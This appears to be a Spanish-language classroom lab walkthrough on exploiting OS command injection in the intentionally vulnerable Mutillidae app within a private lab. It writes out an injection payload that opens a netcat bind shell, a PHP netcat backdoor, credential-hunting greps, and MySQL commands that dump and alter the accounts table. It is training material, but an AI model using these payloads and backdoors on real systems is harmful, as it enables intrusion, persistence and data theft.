====== Inyección de comandos Netcat ====== **¿Qué es Inyección de Comando?** La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" o "|" o "||" o "&" o "&&" se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd). **¿Qué es netcat?** Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de "back-end" confiable que puede ser utilizado directa o fácilmente por otros programas y scripts. Al mismo tiempo, es una herramienta de depuración e investigación ya que puede producir casi cualquier tipo de correlación que se necesite y tiene una serie de capacidades integradas. Netcat a menudo se conoce como una "navaja del ejército suizo para TCP / IP". Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera. ** Pre-requisito para hacer estas practicas** Tener instalado un Fedora \\ Nota: El acceso remoto a la base de datos se ha activado para proporcionar una vulnerabilidad adicional. Instalación de BackTrack 5 R1 En esta Práctica haremos los siguiente * Ejecutar netcat utilizando el comando inyección / vulnerabilidad de ejecución. * Crear una puerta trasera netcat fuera de la vulnerabilidad de inyección de comandos. * Llevar a cabo Reconocimiento PHP * Llevar a cabo el reconocimiento de la base de datos * Agregue un usuario a la tabla nowasp. accounts. Lo primero de todo voy a ver que ip tiene cada una de las maquinas * Fedora tiene 192.168.153.39 * BT tiene 192.168.153.43 {{:sad:fedora:p3:1.png?500|}} Vamos como el ejercicio anterior a http://ip-fedora/mutillidae y seleccionamos OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup A continuación, vamos a ejecutar NetCat a la prueba nslookup LOL Instrucciones: www.colegiomontessori.com; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe ** Hacemos un FIFO llamada pipe.** Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. Esto permitirá que dos procesos se conecten a netcat. **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. {{:sad:fedora:p3:2.png?500|}} {{:sad:fedora:p3:3.png?500|}} **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?: ====== Conéctese a Netcat ====== Escribir las siguientes sentencias en el BackTrack Reemplazar la ip con la dirección IP de tu Fedora. root@bt:~# nc 192.168.153.39 4444 {{:sad:fedora:p3:04.png?500|}} Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 ''**hostname**'' Este es el nombre de host del servidor que aloja DVWA. ''**whoami**'' Es decir, ¿con quién me conecto? ''**pwd**'' directorio de trabajo ''**uname -a**'' muestra informacion del sistema operativo ''**cat /etc/passwd > passwd.txt**'' crea passwd.txt localizado en /var/www/html/multillidae ''**ls -l $PWD/passwd.txt**'' lista el fichero passwd.txt {{:sad:fedora:p3:05.png?500|}} **volvemos al Firefox y abrimos otra pestaña y escribimos** ''** http://ip-fedora/mutillidae/passwd.txt**'' {{:sad:fedora:p3:06.png?500|}} ====== Creación de una puerta trasera (PHP) ====== Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. Ahora podemos crear un script en el servidor web Apache en el directorio /var/www/html/mutillidae, que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. echo " /tmp/pipe2\"); ?>" > nc_connect.php ls -l $PWD/nc_connect.php chmod 700 nc_connect.php ls -l $PWD/nc_connect.php cat nc_connect.php {{:sad:fedora:p3:07.png?500|}} ''**http://ip-fedora/mutillidae/nc_connect.php**'' Ejecutamos **nc_connect.php** ''**http://ip-fedora/mutillidae/nc_connect.php**'' veremos que en la web pone conectando..... abrimos otro terminal en Backtrack y escribimos root@bt:~# nc 192.168.153.39 3333 whoami ps -eaf | egrep '(3333|4444)' {{:sad:fedora:p3:08.png?500|}} {{:sad:fedora:p3:09.png?500|}} Las dos primeras lineas es la ejecución del netcat via nslookup las ultimas lineas el la puerta trasera Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña primero vamos a ver nuestro directorio de trabajo ''**pwd**'' luego vamos a contar los scripts\\ ''**find * -name "*.php" | wc -l**'' despues vamos a contar los archivos incluye de php\\ ''**find * -name "*.inc" | wc -l**'' lo siguiente sera buscar en cada archivo include (.inc) las palabras "password" "db" o "database"\\ {{:sad:fedora:p3:10.png?500|}} find * -name "*.inc" | xargs grep -i password | egrep -i '(db|database)' **find * -name "*.inc** encuentra todos los archivos con la extensión inc ** xargs** construye y ejecutar líneas de comando desde entrada estándar **grep -i password** busca la palabra password (ignora mayuscula y minusculas) **egrep -i '(db|database)'** buscar las cadenas db o database {{:sad:fedora:p3:11.png?500|}} find * -name "*.php" | xargs grep -i password | egrep -i '(db|database)' | grep "=" | head -8 {{:sad:fedora:p3:12.png?500|}} ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = find * -name "MySQLHandler.php" | xargs egrep -i '(password|username|database)' | grep "=" | head -10 {{:sad:fedora:p3:13.png?500|}} El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. echo "show databases;" | mysql -uroot -psamurai echo "use nowasp; show tables;" | mysql -uroot -psamurai {{:sad:fedora:p3:14.png?500|}} Vamos a investigar el contenido de la tabla accounts primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas echo "use nowasp; desc accounts;" | mysql -uroot -psamurai echo "select * from nowasp.accounts;" | mysql -uroot -psamurai {{:sad:fedora:p3:15.png?500|}} ===== ahora vamos a crear un nuevo usuario en la tabla ===== echo "insert into nowasp.accounts values (null,'hacker_jm','p4sSw0rd!','H4ck','TRUE');" | mysql -uroot -psamurai echo "select * from nowasp.accounts;" | mysql -uroot -psamurai {{:sad:fedora:p3:16.png?500|}} ''** print de pantalla final**'' Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php echo "select * from nowasp.accounts where username = 'hacker_nombre';" | mysql -uroot -psamurai netstat -nao | egrep '(3333|4444)' date echo "tu nombre"